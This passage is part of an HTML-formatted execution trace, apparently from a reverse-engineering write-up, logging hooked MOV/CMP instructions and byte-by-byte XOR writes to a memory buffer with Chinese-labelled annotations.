class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10010f3]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x3B</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x0100136f: mov esi, <span class="number">0</span>x1d</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01001389: cmp esi, <span class="number">0</span>x3b</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001383]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x55</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x0100076b: mov esi, <span class="number">0</span>x1d</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000785: cmp esi, <span class="number">0</span>x3b</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100077f]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x48</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000936: mov esi, <span class="number">0</span>xe</span><br><span class="line"><span class="selector-attr">[XOR @0x100094a]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000950: cmp esi, <span class="number">0</span>x1d</span><br><span class="line"><span class="selector-attr">[XOR @0x100094a]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100094a]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100094a]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100094a]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 